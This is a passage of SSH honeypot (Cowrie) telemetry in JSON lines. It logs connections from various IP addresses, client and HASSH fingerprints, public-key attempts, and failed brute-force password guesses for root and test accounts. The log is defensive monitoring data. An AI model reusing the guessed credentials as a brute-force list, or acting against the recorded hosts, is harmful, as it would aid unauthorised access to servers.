f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:47.440042Z","src_ip":"41.181.156.205","session":"fdc222a1c5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc@","message":"login attempt [root/123abc@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:48.485178Z","src_ip":"41.181.156.205","session":"fdc222a1c5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:49.734071Z","src_ip":"41.181.156.205","session":"fdc222a1c5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55564,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd82926745bf","protocol":"ssh","message":"New connection: 194.59.206.2:55564 (10.17.0.5:22) [session: fd82926745bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:24.493056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:24.496704Z","src_ip":"194.59.206.2","session":"fd82926745bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:24.589064Z","src_ip":"194.59.206.2","session":"fd82926745bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:24.683978Z","src_ip":"194.59.206.2","session":"fd82926745bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":48406,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d021cd1039b","protocol":"ssh","message":"New connection: 103.107.60.45:48406 (10.17.0.5:22) [session: 0d021cd1039b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:26.446955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:26.451378Z","src_ip":"103.107.60.45","session":"0d021cd1039b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:26.666924Z","src_ip":"103.107.60.45","session":"0d021cd1039b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2123","message":"login attempt [test2/test2123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:27.561957Z","src_ip":"103.107.60.45","session":"0d021cd1039b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:28.779719Z","src_ip":"103.107.60.45","session":"0d021cd1039b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.104.207","src_port":46902,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b8612a0f65","protocol":"ssh","message":"New connection: 198.20.104.207:46902 (10.17.0.5:22) [session: c3b8612a0f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:42.780341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:42.785142Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:42.866458Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:22:fc:73:d9:14:d2:35:20:07:8e:b4:50:91:6f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdypiHRo6sfcduN7ciTzVpFvw42MjrL1oLlh0+ViwvF5KkB9re7tK1zIKuIP2+UefOUUjIztb+swMTamdj/+1NA+PBsf8J77+Vk1MjCNJkqgzMDivkswGk5Bk4w8RROBA4Cyi4VEh9dTxK9E1eQi0CsTTx053WRrsF/0MT7Q/VMCCy+Lb38EL9BhExe4xi4byKJRVJR5eP9bgG8UmssvMMmt9UEkblA7hBS6uAQZbDSf+ZH2yph3Pz0k0y3/7rI5UNn8GYkSbgbJHUzoYNeZsS9MRKjnOegQBmIy8WRkbscNde2CurjKNSWA4IpKWmfivWUZ+xoJCdx2uCmSgHM2ld","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:22:fc:73:d9:14:d2:35:20:07:8e:b4:50:91:6f:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.250268Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:22:fc:73:d9:14:d2:35:20:07:8e:b4:50:91:6f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdypiHRo6sfcduN7ciTzVpFvw42MjrL1oLlh0+ViwvF5KkB9re7tK1zIKuIP2+UefOUUjIztb+swMTamdj/+1NA+PBsf8J77+Vk1MjCNJkqgzMDivkswGk5Bk4w8RROBA4Cyi4VEh9dTxK9E1eQi0CsTTx053WRrsF/0MT7Q/VMCCy+Lb38EL9BhExe4xi4byKJRVJR5eP9bgG8UmssvMMmt9UEkblA7hBS6uAQZbDSf+ZH2yph3Pz0k0y3/7rI5UNn8GYkSbgbJHUzoYNeZsS9MRKjnOegQBmIy8WRkbscNde2CurjKNSWA4IpKWmfivWUZ+xoJCdx2uCmSgHM2ld","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.272561Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:d4:c0:67:c2:e1:b6:49:7f:80:8b:9b:80:e9:f0:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdb87ys9Lg1reHX40KtjEvcpa9SUcoq3UUj+SuGlXRJDOB/sEYEIieYpa1GZ05BTpCIYrRbKow5EjA0lzgyZlPa+pmHZ+UyS+Q6+bBi3hvJN1Mqef55VsB2DtvaGQk7izLWAA38cfc05TPY+7O0UCBVIrpe1VNT7Ejy7Td4OEnX6H5a4yq4PfDXeMbcA3dsRUM8tTReLJS17tCop47v8KlaJ/foQRkcugyYy4/ZBnK9Zv4699P3c4WbWNaKa4QBPOx+lSSPUje3qyP8rlcZ8PprxV0ZQfxATlA1bEY8Uzz9maPSYB52gqP4gpT3V4jsWQlu+K4FMGOjeNQPZWkTqkB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:d4:c0:67:c2:e1:b6:49:7f:80:8b:9b:80:e9:f0:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.353197Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:d4:c0:67:c2:e1:b6:49:7f:80:8b:9b:80:e9:f0:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdb87ys9Lg1reHX40KtjEvcpa9SUcoq3UUj+SuGlXRJDOB/sEYEIieYpa1GZ05BTpCIYrRbKow5EjA0lzgyZlPa+pmHZ+UyS+Q6+bBi3hvJN1Mqef55VsB2DtvaGQk7izLWAA38cfc05TPY+7O0UCBVIrpe1VNT7Ejy7Td4OEnX6H5a4yq4PfDXeMbcA3dsRUM8tTReLJS17tCop47v8KlaJ/foQRkcugyYy4/ZBnK9Zv4699P3c4WbWNaKa4QBPOx+lSSPUje3qyP8rlcZ8PprxV0ZQfxATlA1bEY8Uzz9maPSYB52gqP4gpT3V4jsWQlu+K4FMGOjeNQPZWkTqkB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.356715Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:8f:aa:9e:d0:13:df:4d:3f:8e:5a:a2:30:45:a2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqsLyEMQ5oXCkZ1CIjGUHnjvEhtFh1COooXMhnR6+zZrwZxLLxfubyNXkXJ4lLwTLPHNqWFjlyfXv91hyb3ZQ8ggYKZCSoou53It+/Qpal+GmqVu+xZLlMEaPxu+1shoJSyylIFmf1U0ytnJUhtn9E0WdA/3pmWwfTjUNi+Gfwm7oZjdNHYb+7pi+wYTLdCYF3A6UM6Xg/dJI9mI+181pB2gCzV7TNnkvNK6grNCqUfZAiTTXQw8xHTlmfGE6ko7SNYxOBTaoRGtgQK3E6LUnllvnlQf6TuyNWM8RlZhnse1BbZ3WqZprarvtqtLat19fOIKkp9RPlpAUooaco97HYCLWHpm6n7B+KGgi5jDGF3XbTE/8PW2ft67sB+0R/1y6pLqWLqEd7/A3ItOEVAYD8RS/7wwu8i29LkdJcnfae1TWDpfOw9Tv3/DRpgqBh+3mUCCmfaWRQgWrB3WWVuFFFTNTY9cgUCTiipZlAbgaTvsV+LUjymnqQBTYiYCLJR4YNDCio2ULViFun258P9fObDlveRbN4bcg9LnvsVyzSL4nKZC54oC8xnSdHcMYPQ0Ph4Mc9Ul9H5finHpOF8DIQBbXXufvdlZYKPGDI/OvujlGP6C6a5rvQY2zmO6/Vx9x32MnlLSemz1uJOtPV/Gc85KSTN/GrS+jBMer4g9kb3k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:8f:aa:9e:d0:13:df:4d:3f:8e:5a:a2:30:45:a2:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.438097Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:8f:aa:9e:d0:13:df:4d:3f:8e:5a:a2:30:45:a2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqsLyEMQ5oXCkZ1CIjGUHnjvEhtFh1COooXMhnR6+zZrwZxLLxfubyNXkXJ4lLwTLPHNqWFjlyfXv91hyb3ZQ8ggYKZCSoou53It+/Qpal+GmqVu+xZLlMEaPxu+1shoJSyylIFmf1U0ytnJUhtn9E0WdA/3pmWwfTjUNi+Gfwm7oZjdNHYb+7pi+wYTLdCYF3A6UM6Xg/dJI9mI+181pB2gCzV7TNnkvNK6grNCqUfZAiTTXQw8xHTlmfGE6ko7SNYxOBTaoRGtgQK3E6LUnllvnlQf6TuyNWM8RlZhnse1BbZ3WqZprarvtqtLat19fOIKkp9RPlpAUooaco97HYCLWHpm6n7B+KGgi5jDGF3XbTE/8PW2ft67sB+0R/1y6pLqWLqEd7/A3ItOEVAYD8RS/7wwu8i29LkdJcnfae1TWDpfOw9Tv3/DRpgqBh+3mUCCmfaWRQgWrB3WWVuFFFTNTY9cgUCTiipZlAbgaTvsV+LUjymnqQBTYiYCLJR4YNDCio2ULViFun258P9fObDlveRbN4bcg9LnvsVyzSL4nKZC54oC8xnSdHcMYPQ0Ph4Mc9Ul9H5finHpOF8DIQBbXXufvdlZYKPGDI/OvujlGP6C6a5rvQY2zmO6/Vx9x32MnlLSemz1uJOtPV/Gc85KSTN/GrS+jBMer4g9kb3k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.441369Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:5e:09:89:67:cb:f5:16:6a:cb:4e:f4:c6:d3:d6:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC42oMhAZJfqR0Qw3PNeGMQ3QvdBP2VDnKusmKsCUQeFCw7PKUd8FF3YsSqpIlXRtBoBVlUqYbSaGYNhIL0sNoUM4edXal9XVdIIMNEzeaQ6OkaiNIs+sHQRG8tj+e3YsXUJCT13YZFUpszIBGgs4K5S6HFh1dXZ8j2Id5reEfdQZMZ7+2hL3uxUluPFHHiIT0jNN+FisqCnTM7OixrIEjcv4/cZS5/zPSWfARDJ4OhT6BHdwAWhgeCdHvuatscv1ObWR7xFUeHnFGN6xin1AhgkFRWRb9Q12bEClXN5fophrKuKinxv2eQWFsZl5Q48fG63vV9YoN6xJj8DR/Bk1ov","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:5e:09:89:67:cb:f5:16:6a:cb:4e:f4:c6:d3:d6:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.523130Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:5e:09:89:67:cb:f5:16:6a:cb:4e:f4:c6:d3:d6:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC42oMhAZJfqR0Qw3PNeGMQ3QvdBP2VDnKusmKsCUQeFCw7PKUd8FF3YsSqpIlXRtBoBVlUqYbSaGYNhIL0sNoUM4edXal9XVdIIMNEzeaQ6OkaiNIs+sHQRG8tj+e3YsXUJCT13YZFUpszIBGgs4K5S6HFh1dXZ8j2Id5reEfdQZMZ7+2hL3uxUluPFHHiIT0jNN+FisqCnTM7OixrIEjcv4/cZS5/zPSWfARDJ4OhT6BHdwAWhgeCdHvuatscv1ObWR7xFUeHnFGN6xin1AhgkFRWRb9Q12bEClXN5fophrKuKinxv2eQWFsZl5Q48fG63vV9YoN6xJj8DR/Bk1ov","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.527323Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:2e:73:dc:47:15:ba:90:1f:26:9b:5a:f6:9d:52:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgXo0FAaGeSinAu6MkkNWQ4DUbhHin0m97Fr584dOT9xR5lqCVkTMs4ItNxEPJnoQDe9neCx8ZVyY5/Y+qjs5GoeWkVa7ryZ6DAlTo2y8C2xiUknllhE8rhJ7FPxBTP4JjoXIkJt2sIAxwqmDcpwCb9T4DpfcuGCaoFhx9Y1GJpoAGH1TjpHiu/cbAtFAhcKSQdBeXEUNdxw8kEssLQsvXXi/K3BgyCeHKo98f7wbD5fIZOuWXl4vfykxRUOr/cY7MViXs/IZUQKyT0Nb0pna2qh0zgP5noMwiqgLYrpNf8aIq76QbsZJaWle2ColW+KnbrJRrNXQOTEgqrTqa1nMV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:2e:73:dc:47:15:ba:90:1f:26:9b:5a:f6:9d:52:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.609017Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:2e:73:dc:47:15:ba:90:1f:26:9b:5a:f6:9d:52:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgXo0FAaGeSinAu6MkkNWQ4DUbhHin0m97Fr584dOT9xR5lqCVkTMs4ItNxEPJnoQDe9neCx8ZVyY5/Y+qjs5GoeWkVa7ryZ6DAlTo2y8C2xiUknllhE8rhJ7FPxBTP4JjoXIkJt2sIAxwqmDcpwCb9T4DpfcuGCaoFhx9Y1GJpoAGH1TjpHiu/cbAtFAhcKSQdBeXEUNdxw8kEssLQsvXXi/K3BgyCeHKo98f7wbD5fIZOuWXl4vfykxRUOr/cY7MViXs/IZUQKyT0Nb0pna2qh0zgP5noMwiqgLYrpNf8aIq76QbsZJaWle2ColW+KnbrJRrNXQOTEgqrTqa1nMV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.612880Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:13:43.696281Z","src_ip":"198.20.104.207","session":"c3b8612a0f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:05.913522Z","src_ip":"118.196.26.161","session":"666ccfe20583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":44484,"dst_ip":"159.203.135.109","dst_port":22,"session":"50068c6550e9","protocol":"ssh","message":"New connection: 185.236.22.41:44484 (159.203.135.109:22) [session: 50068c6550e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:07.036900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:07.041962Z","src_ip":"185.236.22.41","session":"50068c6550e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:07.144263Z","src_ip":"185.236.22.41","session":"50068c6550e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02081988","message":"login attempt [root/02081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:07.503938Z","src_ip":"185.236.22.41","session":"50068c6550e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:08.611415Z","src_ip":"185.236.22.41","session":"50068c6550e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53418,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6b04a371f1","protocol":"ssh","message":"New connection: 103.77.175.15:53418 (159.203.135.109:22) [session: 2c6b04a371f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:59.500252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:59.504384Z","src_ip":"103.77.175.15","session":"2c6b04a371f1","protocol":"ssh"}
